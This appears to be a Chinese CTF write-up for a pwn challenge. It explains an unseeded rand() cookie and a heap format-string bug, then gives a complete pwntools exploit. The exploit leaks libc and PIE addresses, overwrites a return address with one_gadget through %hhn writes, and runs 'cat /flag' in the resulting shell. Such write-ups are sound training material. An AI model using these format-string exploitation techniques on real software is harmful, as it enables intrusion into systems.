连着几个题都不成功。
这个题有两个小漏洞,先是个冒儿,就是要猜24个随机数。但是这里直接用rand()函数没有置种子。这个可以很容易解决,就是自己运行一下,跟他输出的是一样的。
for ( i = 0; i <= 23; ++i )
s[i] = rand() % 26 + 65;
puts("Come on boy!Guess what I write:");
for ( j = 0; j <= 31; ++j )
{
read(0, &buf, 1uLL);
if ( buf <= 64 || buf > 90 )
break;
s1[j] = buf;
}
if ( !strcmp(s1, s) )
{
puts("You great prophet!");
sub_152C(s);
}
else
{
puts("You loooooser!");
}
因为每次建块都要用到一行,所以先用程序生成一堆备用。
#include <stdio.h>
#include <stdlib.h>
int main(){for (int i = 0; i < 24 *80; ++i )printf("%c",rand() % 26 + 65);}
第2个漏洞点在show,每次执行会把输入的内容printf(),只不过内容不在栈里,而是在堆里。
unsigned __int64 m2show()
{
int i; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("=======RANK LIST=======");
for ( i = 0; i <= 9; ++i )
{
if ( *((_QWORD *)&unk_203100 + 6 * i) )
{
putchar(i + 48);
putchar(58);
printf(*((const char **)&unk_203100 + 6 * i));
}
}
puts("=======================");
return __readfsqword(0x28u) ^ v2;
}
这里没有够长的rbp链只好用指向程序本身的找针,因为这个指针比较远(偏移41处)而且指的更远,所以先处理一下指针:
先作一次printf 把内存打印出来,找到对应的有用地址偏移8:rbp指向内存地址,12:对应程序加载地址,13:libc_start_main_ret,41:指向参数./pwn
这里15->41->几百,将来通过15改41让他指向16,方便gdb,然后再让16指向13这是ret的位置,把这里改成one_gadget,刚开始用pop_rdi+1,pop_rdi,bin_sh,system发现有时成功,有时会超时。
这种题改起来比较麻烦,最好的作法是先画好图,定好指针位置,再一步步作。
from pwn import *
elf = ELF('./pwn')
context.arch = 'amd64'
def connect():
global p,libc_elf,one,libc_start_main_ret,local
local = 0
if local == 1:
p = process('./pwn')
libc_elf = ELF('/home/shi/pwn/libc6_2.27-3u1/lib64/libc-2.27.so')
one = [0x4240e, 0x42462, 0xc4f7f, 0xe31fa, 0xe31ee]
libc_start_main_ret = 0x21a87
else:
p = remote('node4.buuoj.cn', 25991)
libc_elf = ELF('../libc6_2.27-3ubuntu1_amd64.so')
one = [0x4f2c5,0x4f322,0xe569f,0xe5858,0xe585f,0xe5863,0x10a398,0x10a38c]
libc_start_main_ret = 0x21b97
menu = b"(E)xit\n"
def add(cookie, size, msg):
p.sendlineafter(menu, b'P')
p.sendlineafter(b"Come on boy!Guess what I write:", cookie.encode())
p.sendlineafter(b"Input your name length:", str(size).encode())
p.sendlineafter(b"Input your name:", msg.encode())
def change(idx, cookie, msg):
p.sendlineafter(menu, b'C')
p.sendlineafter(b"Input index:\n", str(idx).encode())
p.sendlineafter(b"Input Cookie:\n", cookie.encode())
p.sendlineafter(b"input your new name(no longer than old!):\n", msg.encode())
def free(idx):
p.sendlineafter(menu, b'D')
p.sendlineafter(b"Input index:", str(idx).encode())
p.sendlineafter(b"Input Cookie:", codes[cidx].encode())
def show():
p.sendlineafter(menu, b'S')
s = "NWLRBBMQBHCDARZOWKKYHIDDQSCDXRJMOWFRXSJYBLDBEFSARCBYNECDYGGXXPKLORELLNMPAPQFWKHOPKMCOQHNWNKUEWHSQMGBBUQCLJJIVSWMDKQTBXIXMVTRRBLJPTNSNFWZQFJMAFADRRWSOFSBCNUVQHFFBSAQXWPQCACEHCHZVFRKMLNOZJKPQPXRJXKITZYXACBHHKICQCOENDTOMFGDWDWFCGPXIQVKUYTDLCGDEWHTACIOHORDTQKVWCSGSPQOQMSBOAGUWNNYQXNZLGDGWPBTRWBLNSADEUGUUMOQCDRUBETOKYXHOACHWDVMXXRDRYXLMNDQTUKWAGMLEJUUKWCIBXUBUMENMEYATDRMYDIAJXLOGHIQFMZHLVIHJOUVSUYOYPAYULYEIMUOTEHZRIICFSKPGGKBBIPZZRZUCXAMLUDFYKGRUOWZGIOOOBPPLEQLWPHAPJNADQHDCNVWDTXJBMYPPPHAUXNSPUSGDHIIXQMBFJXJCVUDJSUYIBYEBMWSIQYOYGYXYMZEVYPZVJEGEBEOCFUFTSXDIXTIGSIEEHKCHZDFLILRJQFNXZTQRSVBSPKYHSENBPPKQTPDDBUOTBBQCWIVRFXJUJJDDNTGEIQVDGAIJVWCYAUBWEWPJVYGEHLJXEPBPIWUQZDZUBDUBZVAFSPQPQWUZIFWOVYDDWYVVBURCZMGYJGFDXVTNUNNESLSPLWUIUPFXLZBKNHKWPPANLTCFIRJCDDSOZOYVEGURFWCSFMOXEQMRJOWRGHWLKOBMEAHKGCCNAEHHSVEYMQPXHLRNUNYFDZRHBASJEUYGAFOUBUTPNIMUWFJQSJXVKQDORXXVRWCTDSNEOGVBPKXLPGDIRBFCRIQIFPGYNKRREFXSNVUCFTPWCTGTWMXNUPYCFGCUQUNUBLMOIITNCKLEFSZBEXRAMPETVHQNDDJEQVUYGPNKAZQFRPJVOAXDPCWMJOBMSKSKFOJNEWXGXNNOFWLTWJWNNVBWJCKDMEOUUZHYVHGVWUJBQXXPITCVOGRAIDDVHRRDSYCQHKLEEWHXTEMBAQWQWPQHSUEBNVFGVJWDVJJAFQZZXLCXDZNCQGJLAPOPKVXFGVICETCMKBLJOPGTQVVHBGSDVIVHESNKQXMWRQIDRVMHLUBBRYKTHEYENTMROBDEYQCRGLUAIIHVEIXWJJRQOPUBJGUXHXDIPFZWSWYBGFYLQVJZHARVRLYAUUZDRCNJKPHCLFFRKEECBPDIPUFHIDJCXJHRNXCXMJCXOHQANXDRMGZEBHNLMWPMHWDVTHSFQUEEEXGRUJIGSKMVRZGFWVRFTWAPDTUTPBZTYGNSRXAJJNGCOMIKJZSDWSSZNOVDRUYPCNJULKFUZMXNAFAMESPCKJCAZXDRTDGYRQSCCZYBNVQQCQCJITLVCNVBMASIDZGWRAATZZWPWMFBFJKNCVKELHHZJCHPDNLUNMPPNLGJZNKEWWUYSGEFONEXPMMSBAOPMDGZQMKQZXUVTQVNXBSLQZKGLZAMZPDNSJOLVYBWXXTTQOGNRBAIAKQLLSZKHFZCONNMOQKLPEEFSNSMOUWQHODSGCFOHESYSHMGXWTOAYUVNOJDJFTQTWKBAPRIUJIMQWSPSLGVLCSAQBDBGWTBSEETTWDNFNBYJVPDJXYUZQXSTATBZPCTTHOOFREMGFKRBCVKZVGBOFTHGOJHDNAYWPNBITORAAIBEDNEZWFPDAWLOHSSVTQTKFVSYLJZLUCQXSWYQDNTDMFRTZLQSEKEJHZKSKLFEPXCHVCZYSVDGCXBBISWMEAYLZIFKTMOIKSSFXTGPOJXQIYSRSQFWQDJQNQCGDQRNLLUIEAZVMWNUUFNNXVLOYVGMLIUQANDLYAVFAUAOSNLNVACSVPIUMOIAWCQXSWKQWGXYAZ"
codes = [s[i*24:i*24+24] for i in range(len(s)//24)]
cidx = -1
def getcodes():
global cidx,old_cookie
cidx +=1
return codes[cidx]
'''
0056| 0x7ffff5e06bf0 --> 0x7ffff5e06c10 --> 0x55f82be8f940 (push r15) #8
0064| 0x7ffff5e06bf8 --> 0x55f82be8f8af (movzx eax,BYTE PTR [rbp-0x9])
0072| 0x7ffff5e06c00 --> 0x58007ffff5e06cf0
0080| 0x7ffff5e06c08 --> 0x5cb703295bf72300
0088| 0x7ffff5e06c10 --> 0x55f82be8f940 (push r15) #12
0096| 0x7ffff5e06c18 --> 0x7faa45465a87 (<__libc_start_main+231>: mov edi,eax) #13
0104| 0x7ffff5e06c20 --> 0x0
0112| 0x7ffff5e06c28 --> 0x7ffff5e06cf8 --> 0x7ffff5e0841c --> 0x4853006e77702f2e ('./pwn') #15->41->./pwn
'''
def pwn():
add(getcodes(), 30, '%8$p,%12$p,%13$p,%41$p,'.ljust(30,'Z')) #rbp,pwn+1940,libc+main_ret, ->./pwn
show()
p.recvuntil(b'0:')
rbp = int(p.recvuntil(b',', drop=True), 16)
pwn_base = int(p.recvuntil(b',', drop=True), 16) -0x1940
libc_base = int(p.recvuntil(b',', drop=True), 16) - libc_start_main_ret
arg0 = int(p.recvuntil(b',', drop=True), 16)
print(f'rbp:{hex(rbp)},pwn:{hex(pwn_base)},libc:{hex(libc_base)}')
libc_elf.address = libc_base
free_hook = libc_elf.sym['__free_hook']
system = libc_elf.sym['system']
pop_rdi = next(libc_elf.search(asm('pop rdi;ret')))
bin_sh = next(libc_elf.search(b'/bin/sh'))
one_gadget= libc_base + one[0]
elf.address = pwn_base
free(0)
#15->41->X ==> 15->41->16
offset = 16
rbp_16 = rbp+0x20
print(f'offset:{offset}')
payload = f"%{(rbp_16) & 0xFFFF}c%15$hn"
add(getcodes(), 30, payload)
show()
free(0)
#15->41->16:_libc_start_main_ret
p_ret = p64(rbp_16 - 0x18)
for i in range(7,-1,-1):
v = p_ret[i] #+ p_got_free[i+1]*0x100
#15->41
if ((rbp_16 +i)&0xff) == 0:
payload = "%15$hhn"
else:
payload = f"%{(rbp_16+i)&0xff}c%15$hhn"
add(getcodes(),30, payload)
show()
free(0)
#41->X
if v == 0:
payload = "%41$hhn.x.x."
else:
payload = f"%{v}c%41$hhn.x.x."
add(getcodes(),30, payload)
show()
free(0)
#41->16->13:pop_rdi,bin_sh,system
p_system = flat(one_gadget)
for i,v in enumerate(p_system):
#41++
if ((rbp_16-0x18+i)&0xff) == 0:
payload = "%41$hhn"
else:
payload = f"%{(rbp_16 -0x18 +i)&0xff}c%41$hhn"
add(getcodes(),30, payload)
show()
free(0)
#16->ret+
if v == 0:
payload = f"%16$hhn.x.x."
else:
payload = f"%{v}c%16$hhn.x.x."
add(getcodes(),30, payload)
show()
free(0)
#gdb.attach(p)
#pause()
p.sendlineafter(menu, b'E')
context.log_level = 'debug'
p.sendline(b'cat /flag')
p.interactive()
connect()
pwn()